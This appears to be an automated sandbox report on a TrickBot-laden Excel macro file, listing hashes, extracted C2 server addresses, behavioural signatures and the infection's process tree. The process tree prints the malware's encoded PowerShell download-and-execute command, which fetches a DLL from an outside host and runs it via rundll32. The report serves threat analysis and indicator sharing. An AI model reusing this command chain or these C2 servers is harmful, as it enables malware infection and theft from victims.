Analysis

  • max time kernel
    132s
  • max time network
    134s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    21-10-2021 15:12

General

  • Target

    RNP-00129.xlsm

  • Size

    87KB

  • MD5

    21f5a279cdb8389e79a711ae43a9215a

  • SHA1

    74516a2bedf8b8aa4551cedba8a62e68209c0068

  • SHA256

    45b7ef5a55cbcddb1f21415450ee982ebdafac1cf3a57e62acb8d014bc797dfc

  • SHA512

    59af799f48b406da33005e71941341e4873ee5de0c5aa76eeb1a2465d11a9b8f4ec61209c3dbffe25078bc73b61552c82bbae9c5e3e20789ba227d7783776cde

Malware Config

Extracted

Family

trickbot

Version

100019

Botnet

rob136

C2

65.152.201.203:443

185.56.175.122:443

46.99.175.217:443

179.189.229.254:443

46.99.175.149:443

181.129.167.82:443

216.166.148.187:443

46.99.188.223:443

128.201.76.252:443

62.99.79.77:443

60.51.47.65:443

24.162.214.166:443

45.36.99.184:443

97.83.40.67:443

184.74.99.214:443

103.105.254.17:443

62.99.76.213:443

82.159.149.52:443

Attributes
  • autorun
    Name:pwgrabb
    Name:pwgrabc
ecc_pubkey.base64

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Trickbot

    Developed in 2016, TrickBot is one of the more recent banking Trojans.

  • suricata: ET MALWARE Win32/TrickBot CnC Initial Checkin M2

    suricata: ET MALWARE Win32/TrickBot CnC Initial Checkin M2

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\RNP-00129.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3056
    • C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c start /B /WAIT powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA= & start C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2328
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3876
      • C:\Windows\System32\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:348
        • C:\Windows\SysWOW64\rundll32.exe
          C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:3180
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe
            5⤵
              PID:1480
            • C:\Windows\system32\wermgr.exe
              C:\Windows\system32\wermgr.exe
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1484

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\clb.dll
      MD5

      b2adb081746debe3603608911cb5d8fb

      SHA1

      f3a963d739b3cdc8cde256b032762929147ad3fe

      SHA256

      2cf52fe48f274fd7e252eff0092a404a6baf8982d092a6eb9d2f31f6fd7f9f6b

      SHA512

      90edb311914ac0b96097a8897853f1bb50649cc2bdaa8d55ce37464a7aa6ebf850be8efc3fb02e9fdb913169eddb80fff795d68f009cf69ecac406702175ccc2

    • \ProgramData\clb.dll
      MD5

      b2adb081746debe3603608911cb5d8fb

      SHA1

      f3a963d739b3cdc8cde256b032762929147ad3fe

      SHA256

      2cf52fe48f274fd7e252eff0092a404a6baf8982d092a6eb9d2f31f6fd7f9f6b

      SHA512

      90edb311914ac0b96097a8897853f1bb50649cc2bdaa8d55ce37464a7aa6ebf850be8efc3fb02e9fdb913169eddb80fff795d68f009cf69ecac406702175ccc2

    • memory/348-296-0x0000000000000000-mapping.dmp
    • memory/1484-306-0x0000026E19F40000-0x0000026E19F41000-memory.dmp
      Filesize

      4KB

    • memory/1484-305-0x0000026E19E30000-0x0000026E19E59000-memory.dmp
      Filesize

      164KB

    • memory/1484-304-0x0000000000000000-mapping.dmp
    • memory/2328-273-0x0000000000000000-mapping.dmp
    • memory/3056-121-0x00007FFA6AF00000-0x00007FFA6AF10000-memory.dmp
      Filesize

      64KB

    • memory/3056-120-0x0000025421E40000-0x0000025421E42000-memory.dmp
      Filesize

      8KB

    • memory/3056-129-0x00007FFA68340000-0x00007FFA68350000-memory.dmp
      Filesize

      64KB

    • memory/3056-122-0x0000025421E40000-0x0000025421E42000-memory.dmp
      Filesize

      8KB

    • memory/3056-116-0x00007FFA6AF00000-0x00007FFA6AF10000-memory.dmp
      Filesize

      64KB

    • memory/3056-117-0x00007FFA6AF00000-0x00007FFA6AF10000-memory.dmp
      Filesize

      64KB

    • memory/3056-118-0x00007FFA6AF00000-0x00007FFA6AF10000-memory.dmp
      Filesize

      64KB

    • memory/3056-128-0x00007FFA68340000-0x00007FFA68350000-memory.dmp
      Filesize

      64KB

    • memory/3056-115-0x00007FFA6AF00000-0x00007FFA6AF10000-memory.dmp
      Filesize

      64KB

    • memory/3056-119-0x0000025421E40000-0x0000025421E42000-memory.dmp
      Filesize

      8KB

    • memory/3180-300-0x0000000004700000-0x0000000004968000-memory.dmp
      Filesize

      2.4MB

    • memory/3180-298-0x0000000000000000-mapping.dmp
    • memory/3180-301-0x0000000003090000-0x00000000030D5000-memory.dmp
      Filesize

      276KB

    • memory/3180-302-0x0000000002F20000-0x0000000002F21000-memory.dmp
      Filesize

      4KB

    • memory/3180-303-0x0000000010001000-0x0000000010003000-memory.dmp
      Filesize

      8KB

    • memory/3876-294-0x000001DB26DD6000-0x000001DB26DD8000-memory.dmp
      Filesize

      8KB

    • memory/3876-290-0x000001DB26DD3000-0x000001DB26DD5000-memory.dmp
      Filesize

      8KB

    • memory/3876-289-0x000001DB26DD0000-0x000001DB26DD2000-memory.dmp
      Filesize

      8KB

    • memory/3876-274-0x0000000000000000-mapping.dmp